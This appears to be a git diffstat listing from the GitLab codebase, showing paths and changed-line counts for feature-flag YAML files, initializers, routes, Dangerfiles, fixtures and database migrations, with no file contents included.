-rw-r--r--config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml7
-rw-r--r--config/feature_flags/development/ci_store_pipeline_messages.yml7
-rw-r--r--config/feature_flags/development/ci_synchronous_artifact_parsing.yml7
-rw-r--r--config/feature_flags/development/ci_update_queues_for_online_runners.yml7
-rw-r--r--config/feature_flags/development/ci_yaml_limit_size.yml7
-rw-r--r--config/feature_flags/development/cleanup_lfs_during_gc.yml7
-rw-r--r--config/feature_flags/development/cluster_management_project.yml7
-rw-r--r--config/feature_flags/development/clusters_list_redesign.yml7
-rw-r--r--config/feature_flags/development/container_registry_api.yml7
-rw-r--r--config/feature_flags/development/container_registry_cleanup.yml7
-rw-r--r--config/feature_flags/development/container_registry_expiration_policies_throttling.yml7
-rw-r--r--config/feature_flags/development/container_registry_fast_tag_delete.yml7
-rw-r--r--config/feature_flags/development/context_commits.yml7
-rw-r--r--config/feature_flags/development/create_cloud_run_clusters.yml7
-rw-r--r--config/feature_flags/development/dashboard_pipeline_status.yml7
-rw-r--r--config/feature_flags/development/deploy_from_footer.yml7
-rw-r--r--config/feature_flags/development/deploy_tokens_api.yml7
-rw-r--r--config/feature_flags/development/design_management_allow_dangerous_images.yml7
-rw-r--r--config/feature_flags/development/design_management_reference_filter_gfm_pipeline.yml7
-rw-r--r--config/feature_flags/development/design_management_todo_button.yml7
-rw-r--r--config/feature_flags/development/disable_metric_dashboard_refresh_rate.yml7
-rw-r--r--config/feature_flags/development/drop_license_management_artifact.yml7
-rw-r--r--config/feature_flags/development/dynamic_image_resizing.yml7
-rw-r--r--config/feature_flags/development/dynamic_image_resizing_owner.yml7
-rw-r--r--config/feature_flags/development/dynamic_image_resizing_requester.yml7
-rw-r--r--config/feature_flags/development/efficient_counter_attribute.yml7
-rw-r--r--config/feature_flags/development/export_lfs_objects_projects.yml7
-rw-r--r--config/feature_flags/development/export_reduce_relation_batch_size.yml7
-rw-r--r--config/feature_flags/development/file_identifier_hash.yml7
-rw-r--r--config/feature_flags/development/filter_pipelines_search.yml7
-rw-r--r--config/feature_flags/development/force_autodevops_on_by_default.yml7
-rw-r--r--config/feature_flags/development/forking.yml7
-rw-r--r--config/feature_flags/development/forward_deployment_enabled.yml7
-rw-r--r--config/feature_flags/development/g_compliance_dashboard_feature.yml7
-rw-r--r--config/feature_flags/development/generic_packages.yml7
-rw-r--r--config/feature_flags/development/geo_snippet_repository_replication.yml7
-rw-r--r--config/feature_flags/development/git_push_create_all_pipelines.yml7
-rw-r--r--config/feature_flags/development/gitaly_catfile-cache.yml7
-rw-r--r--config/feature_flags/development/gitaly_deny_disk_access.yml7
-rw-r--r--config/feature_flags/development/gitaly_enforce_requests_limits.yml7
-rw-r--r--config/feature_flags/development/gitaly_mep_mep.yml7
-rw-r--r--config/feature_flags/development/gitlab_ci_yml_preview.yml7
-rw-r--r--config/feature_flags/development/gitpod.yml7
-rw-r--r--config/feature_flags/development/global_default_branch_name.yml7
-rw-r--r--config/feature_flags/development/go_proxy.yml7
-rw-r--r--config/feature_flags/development/go_proxy_disable_gomod_validation.yml7
-rw-r--r--config/feature_flags/development/grape_gitlab_json.yml7
-rw-r--r--config/feature_flags/development/graphql_board_lists.yml7
-rw-r--r--config/feature_flags/development/graphql_logging.yml7
-rw-r--r--config/feature_flags/development/graphql_lookahead_support.yml7
-rw-r--r--config/feature_flags/development/graphql_milestone_stats.yml7
-rw-r--r--config/feature_flags/development/graphql_release_data.yml7
-rw-r--r--config/feature_flags/development/group_export_ndjson.yml7
-rw-r--r--config/feature_flags/development/group_import_export.yml7
-rw-r--r--config/feature_flags/development/group_import_ndjson.yml7
-rw-r--r--config/feature_flags/development/group_level_integrations.yml7
-rw-r--r--config/feature_flags/development/groups_tokens_optional_encryption.yml7
-rw-r--r--config/feature_flags/development/hide_jump_to_next_unresolved_in_threads.yml7
-rw-r--r--config/feature_flags/development/highlight_current_diff_row.yml7
-rw-r--r--config/feature_flags/development/improved_mr_merged_at_queries.yml2
-rw-r--r--config/feature_flags/development/inactive_policy_condition.yml7
-rw-r--r--config/feature_flags/development/ingress_modsecurity.yml7
-rw-r--r--config/feature_flags/development/instance_statistics.yml7
-rw-r--r--config/feature_flags/development/invisible_captcha.yml7
-rw-r--r--config/feature_flags/development/invite_email_experiment.yml7
-rw-r--r--config/feature_flags/development/invite_your_teammates_banner_a.yml7
-rw-r--r--config/feature_flags/development/issues.yml7
-rw-r--r--config/feature_flags/development/json_limited_encoder.yml7
-rw-r--r--config/feature_flags/development/json_wrapper_legacy_mode.yml7
-rw-r--r--config/feature_flags/development/junit_pipeline_screenshots_view.yml7
-rw-r--r--config/feature_flags/development/lfs_check.yml7
-rw-r--r--config/feature_flags/development/lfs_link_existing_object.yml7
-rw-r--r--config/feature_flags/development/limit_projects_in_groups_api.yml7
-rw-r--r--config/feature_flags/development/log_import_export_relation_creation.yml7
-rw-r--r--config/feature_flags/development/maintenance_mode.yml7
-rw-r--r--config/feature_flags/development/marginalia.yml7
-rw-r--r--config/feature_flags/development/merge_orchestration_service.yml7
-rw-r--r--config/feature_flags/development/merge_red_head_comments_position_on_demand.yml7
-rw-r--r--config/feature_flags/development/merge_ref_auto_sync.yml7
-rw-r--r--config/feature_flags/development/merge_ref_auto_sync_lock.yml7
-rw-r--r--config/feature_flags/development/merge_request_draft_filter.yml7
-rw-r--r--config/feature_flags/development/merge_request_rebase_nowait_lock.yml7
-rw-r--r--config/feature_flags/development/merge_request_reviewers.yml7
-rw-r--r--config/feature_flags/development/merge_request_short_pipeline_serializer.yml7
-rw-r--r--config/feature_flags/development/merge_request_widget_graphql.yml7
-rw-r--r--config/feature_flags/development/merge_requests.yml7
-rw-r--r--config/feature_flags/development/metrics_dashboard.yml7
-rw-r--r--config/feature_flags/development/metrics_dashboard_exhaustive_validations.yml7
-rw-r--r--config/feature_flags/development/migrate_bio_to_user_details.yml7
-rw-r--r--config/feature_flags/development/migrate_user_mentions.yml7
-rw-r--r--config/feature_flags/development/modifed_path_ci_variables.yml7
-rw-r--r--config/feature_flags/development/monaco_blobs.yml7
-rw-r--r--config/feature_flags/development/monaco_ci.yml7
-rw-r--r--config/feature_flags/development/mr_commit_neighbor_nav.yml7
-rw-r--r--config/feature_flags/development/multi_select_board.yml7
-rw-r--r--config/feature_flags/development/multiline_comments.yml7
-rw-r--r--config/feature_flags/development/new_pipeline_form.yml7
-rw-r--r--config/feature_flags/development/new_release_page.yml7
-rw-r--r--config/feature_flags/development/new_variables_ui.yml7
-rw-r--r--config/feature_flags/development/not_issuable_queries.yml7
-rw-r--r--config/feature_flags/development/notes_create_service_tracking.yml7
-rw-r--r--config/feature_flags/development/oj_json.yml7
-rw-r--r--config/feature_flags/development/optimized_issuable_label_filter.yml7
-rw-r--r--config/feature_flags/development/optimized_timebox_queries.yml7
-rw-r--r--config/feature_flags/development/packages_coming_soon.yml7
-rw-r--r--config/feature_flags/development/pages.yml7
-rw-r--r--config/feature_flags/development/pages_artifacts_archive.yml7
-rw-r--r--config/feature_flags/development/paginated_notes.yml7
-rw-r--r--config/feature_flags/development/periodic_project_authorization_recalculation.yml7
-rw-r--r--config/feature_flags/development/personal_snippet_reference_filters.yml4
-rw-r--r--config/feature_flags/development/phabricator_import.yml7
-rw-r--r--config/feature_flags/development/pipelines_security_report_summary.yml7
-rw-r--r--config/feature_flags/development/product_analytics.yml7
-rw-r--r--config/feature_flags/development/prohibit_hexadecimal_branch_names.yml7
-rw-r--r--config/feature_flags/development/project_export_as_ndjson.yml7
-rw-r--r--config/feature_flags/development/project_import_ndjson.yml7
-rw-r--r--config/feature_flags/development/project_list_filter_bar.yml7
-rw-r--r--config/feature_flags/development/project_statistics_sync.yml7
-rw-r--r--config/feature_flags/development/project_transactionless_destroy.yml7
-rw-r--r--config/feature_flags/development/projects_tokens_optional_encryption.yml7
-rw-r--r--config/feature_flags/development/prometheus_computed_alerts.yml7
-rw-r--r--config/feature_flags/development/push_mirror_syncs_lfs.yml7
-rw-r--r--config/feature_flags/development/reactive_caching_limit_environment.yml7
-rw-r--r--config/feature_flags/development/real_time_issue_sidebar.yml7
-rw-r--r--config/feature_flags/development/rebalance_issues.yml7
-rw-r--r--config/feature_flags/development/release_asset_link_editing.yml7
-rw-r--r--config/feature_flags/development/release_asset_link_type.yml7
-rw-r--r--config/feature_flags/development/release_evidence.yml7
-rw-r--r--config/feature_flags/development/release_evidence_collection.yml7
-rw-r--r--config/feature_flags/development/release_issue_summary.yml7
-rw-r--r--config/feature_flags/development/release_mr_issue_urls.yml7
-rw-r--r--config/feature_flags/development/release_show_page.yml7
-rw-r--r--config/feature_flags/development/remove_legacy_github_client.yml7
-rw-r--r--config/feature_flags/development/reorder_designs.yml7
-rw-r--r--config/feature_flags/development/repack_after_shard_migration.yml7
-rw-r--r--config/feature_flags/development/repository.yml7
-rw-r--r--config/feature_flags/development/repository_archive_hotlinking_interception.yml7
-rw-r--r--config/feature_flags/development/resource_access_token.yml7
-rw-r--r--config/feature_flags/development/rugged_commit_is_ancestor.yml7
-rw-r--r--config/feature_flags/development/rugged_commit_tree_entry.yml7
-rw-r--r--config/feature_flags/development/rugged_find_commit.yml7
-rw-r--r--config/feature_flags/development/rugged_list_commits_by_oid.yml7
-rw-r--r--config/feature_flags/development/rugged_tree_entries.yml7
-rw-r--r--config/feature_flags/development/rugged_tree_entry.yml7
-rw-r--r--config/feature_flags/development/safezip_use_rubyzip.yml7
-rw-r--r--config/feature_flags/development/save_raw_usage_data.yml7
-rw-r--r--config/feature_flags/development/schema_linting.yml7
-rw-r--r--config/feature_flags/development/search_track_unique_users.yml7
-rw-r--r--config/feature_flags/development/security_on_demand_scans_site_validation.yml7
-rw-r--r--config/feature_flags/development/serverless_domain.yml7
-rw-r--r--config/feature_flags/development/service_desk_custom_address.yml7
-rw-r--r--config/feature_flags/development/settings_operations_prometheus_service.yml7
-rw-r--r--config/feature_flags/development/show_author_on_note.yml7
-rw-r--r--config/feature_flags/development/show_contributor_on_note.yml7
-rw-r--r--config/feature_flags/development/similarity_search.yml7
-rw-r--r--config/feature_flags/development/snippet_multiple_files.yml7
-rw-r--r--config/feature_flags/development/snippets.yml7
-rw-r--r--config/feature_flags/development/snippets_binary_blob.yml7
-rw-r--r--config/feature_flags/development/snippets_edit_vue.yml7
-rw-r--r--config/feature_flags/development/snippets_vue.yml7
-rw-r--r--config/feature_flags/development/soft_email_confirmation.yml7
-rw-r--r--config/feature_flags/development/specialized_project_authorization_project_share_worker.yml7
-rw-r--r--config/feature_flags/development/specialized_project_authorization_workers.yml7
-rw-r--r--config/feature_flags/development/sql-set-operators.yml7
-rw-r--r--config/feature_flags/development/sql_set_operators.yml7
-rw-r--r--config/feature_flags/development/squash_options.yml7
-rw-r--r--config/feature_flags/development/sse_image_uploads.yml7
-rw-r--r--config/feature_flags/development/store_instance_statistics_measurements.yml7
-rw-r--r--config/feature_flags/development/store_mentioned_users_to_db.yml7
-rw-r--r--config/feature_flags/development/suggest_pipeline.yml7
-rw-r--r--config/feature_flags/development/track_editor_edit_actions.yml7
-rw-r--r--config/feature_flags/development/track_issue_activity_actions.yml7
-rw-r--r--config/feature_flags/development/track_resource_state_change_events.yml7
-rw-r--r--config/feature_flags/development/track_unique_visits.yml7
-rw-r--r--config/feature_flags/development/tribute_autocomplete.yml7
-rw-r--r--config/feature_flags/development/unified_diff_lines.yml7
-rw-r--r--config/feature_flags/development/unlink_fork_network_upon_visibility_decrease.yml7
-rw-r--r--config/feature_flags/development/upload_middleware_jwt_params_handler.yml7
-rw-r--r--config/feature_flags/development/usage_data_api.yml7
-rw-r--r--config/feature_flags/development/usage_data_g_compliance_dashboard.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_assigned.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_alert_todo.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_assigned.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_closed.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_comment.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_created.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_relate.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_reopened.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_todo.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml7
-rw-r--r--config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml7
-rw-r--r--config/feature_flags/development/use_workhorse_s3_client.yml7
-rw-r--r--config/feature_flags/development/user_mode_in_session.yml7
-rw-r--r--config/feature_flags/development/user_time_settings.yml7
-rw-r--r--config/feature_flags/development/users_search.yml7
-rw-r--r--config/feature_flags/development/validate_import_decompressed_archive_size.yml7
-rw-r--r--config/feature_flags/development/view_diffs_file_by_file.yml7
-rw-r--r--config/feature_flags/development/vue_group_members_list.yml7
-rw-r--r--config/feature_flags/development/vue_issuable_sidebar.yml7
-rw-r--r--config/feature_flags/development/vue_issuables_list.yml7
-rw-r--r--config/feature_flags/development/web_ide_primary_edit.yml7
-rw-r--r--config/feature_flags/development/webauthn.yml7
-rw-r--r--config/feature_flags/development/webperf_experiment.yml7
-rw-r--r--config/feature_flags/development/whats_new_drawer.yml7
-rw-r--r--config/feature_flags/development/widget_visibility_polling.yml7
-rw-r--r--config/feature_flags/development/wiki.yml7
-rw-r--r--config/feature_flags/development/wiki_events_on_git_push.yml7
-rw-r--r--config/feature_flags/development/wiki_front_matter.yml7
-rw-r--r--config/feature_flags/development/workhorse_archive_cache_disabled.yml7
-rw-r--r--config/feature_flags/ops/ci_accept_trace.yml7
-rw-r--r--config/feature_flags/ops/ci_trace_overwrite.yml7
-rw-r--r--config/feature_flags/ops/kubernetes_agent_internal_api.yml7
-rw-r--r--config/gitlab.yml.example26
-rw-r--r--config/helpers/is_eslint.js2
-rw-r--r--config/initializers/0_inject_feature_flags.rb1
-rw-r--r--config/initializers/1_settings.rb17
-rw-r--r--config/initializers/7_prometheus_metrics.rb6
-rw-r--r--config/initializers/8_devise.rb2
-rw-r--r--config/initializers/active_record_lifecycle.rb4
-rw-r--r--config/initializers/backtrace_silencers.rb4
-rw-r--r--config/initializers/carrierwave_patch.rb6
-rw-r--r--config/initializers/deprecations.rb2
-rw-r--r--config/initializers/direct_upload_support.rb6
-rw-r--r--config/initializers/doorkeeper.rb11
-rw-r--r--config/initializers/forbid_sidekiq_in_transactions.rb2
-rw-r--r--config/initializers/gitlab_kas_secret.rb1
-rw-r--r--config/initializers/remove_active_job_execute_callback.rb27
-rw-r--r--config/initializers/sidekiq.rb4
-rw-r--r--config/initializers/trusted_proxies.rb2
-rw-r--r--config/initializers/warden.rb2
-rw-r--r--config/initializers/webauthn.rb35
-rw-r--r--config/initializers_before_autoloader/000_inflections.rb1
-rw-r--r--config/locales/devise.en.yml2
-rw-r--r--config/locales/doorkeeper.en.yml7
-rw-r--r--config/routes.rb17
-rw-r--r--config/routes/admin.rb8
-rw-r--r--config/routes/group.rb14
-rw-r--r--config/routes/instance_statistics.rb8
-rw-r--r--config/routes/issues.rb2
-rw-r--r--config/routes/jira_connect.rb15
-rw-r--r--config/routes/profile.rb2
-rw-r--r--config/routes/project.rb52
-rw-r--r--config/routes/user.rb2
-rw-r--r--config/sidekiq_queues.yml14
-rw-r--r--config/spring.rb10
-rw-r--r--config/webpack.config.js4
-rw-r--r--danger/changelog/Dangerfile29
-rw-r--r--danger/database/Dangerfile8
-rw-r--r--danger/documentation/Dangerfile6
-rw-r--r--danger/pajamas/Dangerfile43
-rw-r--r--danger/roulette/Dangerfile2
-rw-r--r--danger/specialization_labels/Dangerfile26
-rw-r--r--data/whats_new/202008180001_12_10.yml12
-rw-r--r--data/whats_new/202008180002_13_0.yml10
-rw-r--r--data/whats_new/202008180003_13_01.yml8
-rw-r--r--data/whats_new/202008210001_13_02.yml41
-rw-r--r--data/whats_new/202009150001_13_03.yml41
-rw-r--r--db/fixtures/development/01_admin.rb3
-rw-r--r--db/fixtures/development/02_users.rb12
-rw-r--r--db/fixtures/development/21_dev_ops_report_metrics.rb40
-rw-r--r--db/fixtures/development/21_dev_ops_score_metrics.rb40
-rw-r--r--db/fixtures/development/26_packages.rb8
-rw-r--r--db/fixtures/development/29_instance_statistics.rb25
-rw-r--r--db/fixtures/development/98_gitlab_instance_administration_project.rb10
-rw-r--r--db/fixtures/production/998_gitlab_instance_administration_project.rb10
-rw-r--r--db/gitlab_structure.sql1
-rw-r--r--db/migrate/20190402150158_backport_enterprise_schema.rb2
-rw-r--r--db/migrate/20200610033228_create_terraform_state_versions.rb28
-rw-r--r--db/migrate/20200610040615_add_versioning_enabled_to_terraform_states.rb9
-rw-r--r--db/migrate/20200611013227_add_users_foreign_key_to_terraform_state_versions.rb19
-rw-r--r--db/migrate/20200629134747_add_extra_index_to_label_links.rb26
-rw-r--r--db/migrate/20200710113437_add_container_registry_delete_tags_service_timeout_to_application_settings.rb19
-rw-r--r--db/migrate/20200805071842_add_index_on_end_date_and_namespace_id_to_gitlab_subscriptions.rb3
-rw-r--r--db/migrate/20200811154630_add_gitpod_application_settings.rb13
-rw-r--r--db/migrate/20200811154631_add_gitpod_application_settings_text_limit.rb16
-rw-r--r--db/migrate/20200811154632_add_gitpod_user_preferences.rb9
-rw-r--r--db/migrate/20200812150810_add_verification_state_to_snippet_repository.rb18
-rw-r--r--db/migrate/20200812150811_add_verification_failure_to_snippet_repository.rb19
-rw-r--r--db/migrate/20200812150812_add_verification_failure_index_to_snippet_repository.rb19
-rw-r--r--db/migrate/20200813143356_remove_old_external_diff_migration_index.rb3
-rw-r--r--db/migrate/20200818052219_add_kubernetes_version_to_cluster_providers_aws.rb28
-rw-r--r--db/migrate/20200818092401_add_checksum_to_build_chunk.rb9
-rw-r--r--db/migrate/20200818171229_add_package_max_file_size_to_plan_limits.rb13
-rw-r--r--db/migrate/20200819192143_add_emails_user_id_foreign_key.rb20
-rw-r--r--db/migrate/20200820105408_add_index_to_container_scanning_findings.rb20
-rw-r--r--db/migrate/20200820130839_add_auto_close_incident_to_project_incident_management_settings.rb13
-rw-r--r--db/migrate/20200820204041_create_ci_platform_metrics.rb31
-rw-r--r--db/migrate/20200821034419_add_unique_index_for_generic_packages.rb20
-rw-r--r--db/migrate/20200821194920_create_atlassian_identities.rb39
-rw-r--r--db/migrate/20200824045812_add_generic_package_max_file_size_to_plan_limits.rb9
-rw-r--r--db/migrate/20200824124623_create_issuable_severities.rb22
-rw-r--r--db/migrate/20200825071735_create_merge_request_reviewers.rb22
-rw-r--r--db/migrate/20200825081025_boards_epic_user_preferences.rb23
-rw-r--r--db/migrate/20200825081035_boards_epic_user_preferences_fk_board.rb19
-rw-r--r--db/migrate/20200825081045_boards_epic_user_preferences_fk_user.rb19
-rw-r--r--db/migrate/20200825081055_boards_epic_user_preferences_fk_epic.rb19
-rw-r--r--db/migrate/20200825084819_create_security_findings_table.rb27
-rw-r--r--db/migrate/20200825154237_update_package_file_size_plan_limits_defaults.rb13
-rw-r--r--db/migrate/20200825180050_add_pipeline_artifacts_size_to_root_storage_statistics.rb19
-rw-r--r--db/migrate/20200826073745_add_default_to_ci_pipeline_locked.rb23
-rw-r--r--db/migrate/20200826092324_add_projects_index_on_import_type_creator_id_created_at.rb21
-rw-r--r--db/migrate/20200826212800_add_index_on_merge_request_id_and_rule_type_to_approval_merge_request_rule.rb23
-rw-r--r--db/migrate/20200827005322_add_creator_id_to_packages.rb9
-rw-r--r--db/migrate/20200827060911_add_merge_request_foreign_key_to_merge_request_reviewers.rb22
-rw-r--r--db/migrate/20200827060932_add_user_foreign_key_to_merge_request_reviewers.rb22
-rw-r--r--db/migrate/20200827085101_add_seats_currently_in_use_in_gitlab_subscriptions.rb21
-rw-r--r--db/migrate/20200827102234_add_ci_job_artifact_id_to_pages_metadata.rb9
-rw-r--r--db/migrate/20200827104432_add_foreign_key_to_artifacts_archive_id_in_pages_metadata.rb21
-rw-r--r--db/migrate/20200827114902_create_analytics_instance_statistics_measurements.rb16
-rw-r--r--db/migrate/20200827142811_create_merge_request_diff_details.rb30
-rw-r--r--db/migrate/20200827150057_add_index_expire_at_to_pipeline_artifacts.rb18
-rw-r--r--db/migrate/20200828155134_add_foreign_key_on_scan_id_to_security_scans.rb19
-rw-r--r--db/migrate/20200828155205_add_foreign_key_on_scanner_id_to_vulnerability_scanners.rb19
-rw-r--r--db/migrate/20200830201204_add_index_to_package_creator.rb21
-rw-r--r--db/migrate/20200901203055_add_id_created_at_index_to_packages.rb19
-rw-r--r--db/migrate/20200901214416_change_pypi_python_version_type.rb18
-rw-r--r--db/migrate/20200902135542_update_package_max_file_size_plan_limits.rb45
-rw-r--r--db/migrate/20200903054946_add_elasticsearch_client_timeout.rb12
-rw-r--r--db/migrate/20200903092241_add_index_to_resource_iteration_events_add_events.rb21
-rw-r--r--db/migrate/20200904092131_add_merge_ref_sha_to_merge_requests.rb19
-rw-r--r--db/migrate/20200904131544_create_ci_build_pending_states.rb25
-rw-r--r--db/migrate/20200907021256_create_dast_site_tokens.rb34
-rw-r--r--db/migrate/20200907062101_create_dast_site_validations.rb40
-rw-r--r--db/migrate/20200908033805_add_dast_site_validation_id_to_dast_site.rb33
-rw-r--r--db/migrate/20200908100053_create_authentication_events.rb33
-rw-r--r--db/migrate/20200908183231_add_check_positive_constraint_to_ci_platform_metrics.rb19
-rw-r--r--db/migrate/20200911120132_create_pages_deployments.rb28
-rw-r--r--db/migrate/20200911121027_add_pages_deployment_project_foreign_key.rb19
-rw-r--r--db/migrate/20200911121048_add_pages_deployment_ci_build_foreign_key.rb19
-rw-r--r--db/migrate/20200914091326_change_build_pending_state_enums.rb15
-rw-r--r--db/migrate/20200914104642_modify_merge_request_api_index.rb20
-rw-r--r--db/migrate/20200914105202_remove_old_merge_request_api_index.rb17
-rw-r--r--db/migrate/20200914155135_add_deduplicated_flag_into_security_findings_table.rb9
-rw-r--r--db/migrate/20200914183227_add_index_on_deduplicated_column_of_security_findings.rb18
-rw-r--r--db/migrate/20200914184212_remove_index_on_security_findings_scan_id.rb18
-rw-r--r--db/migrate/20200915152641_add_verification_state_to_terraform_state_version.rb18
-rw-r--r--db/migrate/20200915164448_add_verification_failure_limit_to_terraform_state_version.rb19
-rw-r--r--db/migrate/20200915164844_add_verification_failure_index_to_terraform_state_version.rb25
-rw-r--r--db/post_migrate/20200710102418_delete_user_callout_alerts_moved.rb2
-rw-r--r--db/post_migrate/20200810191256_remove_pipeline_id_from_test_reports.rb21
-rw-r--r--db/post_migrate/20200811130000_create_index_vulnerabilities_feedback_issue_id_not_null.rb19
-rw-r--r--db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb48
-rw-r--r--db/post_migrate/20200811211536_add_index_to_ci_job_artifacts_for_terraform_reports_id.rb18
-rw-r--r--db/post_migrate/20200817100710_add_section_and_created_at_codeowner_approval_merge_request_index.rb22
-rw-r--r--db/post_migrate/20200819082334_remove_default_from_services.rb19
-rw-r--r--db/post_migrate/20200819113644_add_target_id_to_audit_events.rb125
-rw-r--r--db/post_migrate/20200819202048_remove_orphaned_emails.rb20
-rw-r--r--db/post_migrate/20200819202222_validate_emails_user_id_foreign_key.rb16
-rw-r--r--db/post_migrate/20200824130028_remove_index_on_users_bio.rb20
-rw-r--r--db/post_migrate/20200824130447_remove_users_bio_column.rb19
-rw-r--r--db/post_migrate/20200826053152_add_index_on_ci_pipelines_source_for_on_demand_dast.rb29
-rw-r--r--db/post_migrate/20200826121552_remove_ci_job_artifacts_locked.rb19
-rw-r--r--db/post_migrate/20200826220745_add_compound_index_on_vulnerabilities_for_background_migration.rb18
-rw-r--r--db/post_migrate/20200826220746_schedule_populate_resolved_on_default_branch_column.rb28
-rw-r--r--db/post_migrate/20200831065320_add_not_valid_not_null_constraint_to_mr_metrics.rb17
-rw-r--r--db/post_migrate/20200831065322_add_tmp_index_to_target_project_id.rb18
-rw-r--r--db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb49
-rw-r--r--db/post_migrate/20200831074356_validate_not_null_constraint_on_mr_metrics.rb20
-rw-r--r--db/post_migrate/20200831224343_populate_vulnerability_historical_statistics_for_year.rb30
-rw-r--r--db/post_migrate/20200901212304_drop_code_owner_column_from_approval_merge_request_rule.rb36
-rw-r--r--db/post_migrate/20200903064431_add_created_at_index_to_audit_events.rb22
-rw-r--r--db/post_migrate/20200904174901_backfill_cleanup_for_partitioned_audit_events.rb17
-rw-r--r--db/post_migrate/20200907124300_complete_namespace_settings_migration.rb35
-rw-r--r--db/post_migrate/20200908095446_update_location_fingerprint_column_for_cs.rb30
-rw-r--r--db/post_migrate/20200909194014_change_pypi_python_version_type_cleanup.rb18
-rw-r--r--db/post_migrate/20200909194524_increase_pypi_version_size.rb17
-rw-r--r--db/post_migrate/20200910131217_tmp_index_for_fixing_inconsistent_vulnerability_occurrences.rb20
-rw-r--r--db/post_migrate/20200910131218_remove_duplicated_cs_findings.rb31
-rw-r--r--db/post_migrate/20200910170908_ensure_filled_external_diff_store_on_merge_request_diffs.rb31
-rw-r--r--db/post_migrate/20200910175553_validate_not_null_external_diff_store_on_merge_request_diffs.rb21
-rw-r--r--db/post_migrate/20200915044225_schedule_migration_to_hashed_storage.rb17
-rw-r--r--db/post_migrate/20200916081749_remove_cycle_analytics_total_stage_data.rb14
-rw-r--r--db/schema_migrations/202006100332281
-rw-r--r--db/schema_migrations/202006100406151
-rw-r--r--db/schema_migrations/202006110132271
-rw-r--r--db/schema_migrations/202006291347471
-rw-r--r--db/schema_migrations/202007101134371
-rw-r--r--db/schema_migrations/202008101912561
-rw-r--r--db/schema_migrations/202008111300001
-rw-r--r--db/schema_migrations/202008111304331
-rw-r--r--db/schema_migrations/202008111546301
-rw-r--r--db/schema_migrations/202008111546311
-rw-r--r--db/schema_migrations/202008111546321
-rw-r--r--db/schema_migrations/202008112115361
-rw-r--r--db/schema_migrations/202008121508101
-rw-r--r--db/schema_migrations/202008121508111
-rw-r--r--db/schema_migrations/202008121508121
-rw-r--r--db/schema_migrations/202008171007101
-rw-r--r--db/schema_migrations/202008180522191
-rw-r--r--db/schema_migrations/202008180924011
-rw-r--r--db/schema_migrations/202008181712291
-rw-r--r--db/schema_migrations/202008190823341
-rw-r--r--db/schema_migrations/202008191136441
-rw-r--r--db/schema_migrations/202008191921431
-rw-r--r--db/schema_migrations/202008192020481
-rw-r--r--db/schema_migrations/202008192022221
-rw-r--r--db/schema_migrations/202008201054081
-rw-r--r--db/schema_migrations/202008201308391
-rw-r--r--db/schema_migrations/202008202040411
-rw-r--r--db/schema_migrations/202008210344191
-rw-r--r--db/schema_migrations/202008211949201
-rw-r--r--db/schema_migrations/202008240458121
-rw-r--r--db/schema_migrations/202008241246231
-rw-r--r--db/schema_migrations/202008241300281
-rw-r--r--db/schema_migrations/202008241304471
-rw-r--r--db/schema_migrations/202008250717351
-rw-r--r--db/schema_migrations/202008250810251
-rw-r--r--db/schema_migrations/202008250810351
-rw-r--r--db/schema_migrations/202008250810451
-rw-r--r--db/schema_migrations/202008250810551
-rw-r--r--db/schema_migrations/202008250848191
-rw-r--r--db/schema_migrations/202008251542371
-rw-r--r--db/schema_migrations/202008251800501
-rw-r--r--db/schema_migrations/202008260531521
-rw-r--r--db/schema_migrations/202008260737451
-rw-r--r--db/schema_migrations/202008260923241
-rw-r--r--db/schema_migrations/202008261215521
-rw-r--r--db/schema_migrations/202008262128001
-rw-r--r--db/schema_migrations/202008262207451
-rw-r--r--db/schema_migrations/202008262207461
-rw-r--r--db/schema_migrations/202008270053221
-rw-r--r--db/schema_migrations/202008270609111
-rw-r--r--db/schema_migrations/202008270609321
-rw-r--r--db/schema_migrations/202008270851011
-rw-r--r--db/schema_migrations/202008271022341
-rw-r--r--db/schema_migrations/202008271044321
-rw-r--r--db/schema_migrations/202008271149021
-rw-r--r--db/schema_migrations/202008271428111
-rw-r--r--db/schema_migrations/202008271500571
-rw-r--r--db/schema_migrations/202008281551341
-rw-r--r--db/schema_migrations/202008281552051
-rw-r--r--db/schema_migrations/202008302012041
-rw-r--r--db/schema_migrations/202008310653201
-rw-r--r--db/schema_migrations/202008310653221
-rw-r--r--db/schema_migrations/202008310657051
-rw-r--r--db/schema_migrations/202008310743561
-rw-r--r--db/schema_migrations/202008312243431
-rw-r--r--db/schema_migrations/202009012030551
-rw-r--r--db/schema_migrations/202009012123041
-rw-r--r--db/schema_migrations/202009012144161
-rw-r--r--db/schema_migrations/202009021355421
-rw-r--r--db/schema_migrations/202009030549461
-rw-r--r--db/schema_migrations/202009030644311
-rw-r--r--db/schema_migrations/202009030922411
-rw-r--r--db/schema_migrations/202009040921311
-rw-r--r--db/schema_migrations/202009041315441
-rw-r--r--db/schema_migrations/202009041749011
-rw-r--r--db/schema_migrations/202009070212561
-rw-r--r--db/schema_migrations/202009070621011
-rw-r--r--db/schema_migrations/202009071243001
-rw-r--r--db/schema_migrations/202009080338051
-rw-r--r--db/schema_migrations/202009080954461
-rw-r--r--db/schema_migrations/202009081000531
-rw-r--r--db/schema_migrations/202009081832311
-rw-r--r--db/schema_migrations/202009091940141
-rw-r--r--db/schema_migrations/202009091945241
-rw-r--r--db/schema_migrations/202009101312171
-rw-r--r--db/schema_migrations/202009101312181
-rw-r--r--db/schema_migrations/202009101709081
-rw-r--r--db/schema_migrations/202009101755531
-rw-r--r--db/schema_migrations/202009111201321
-rw-r--r--db/schema_migrations/202009111210271
-rw-r--r--db/schema_migrations/202009111210481
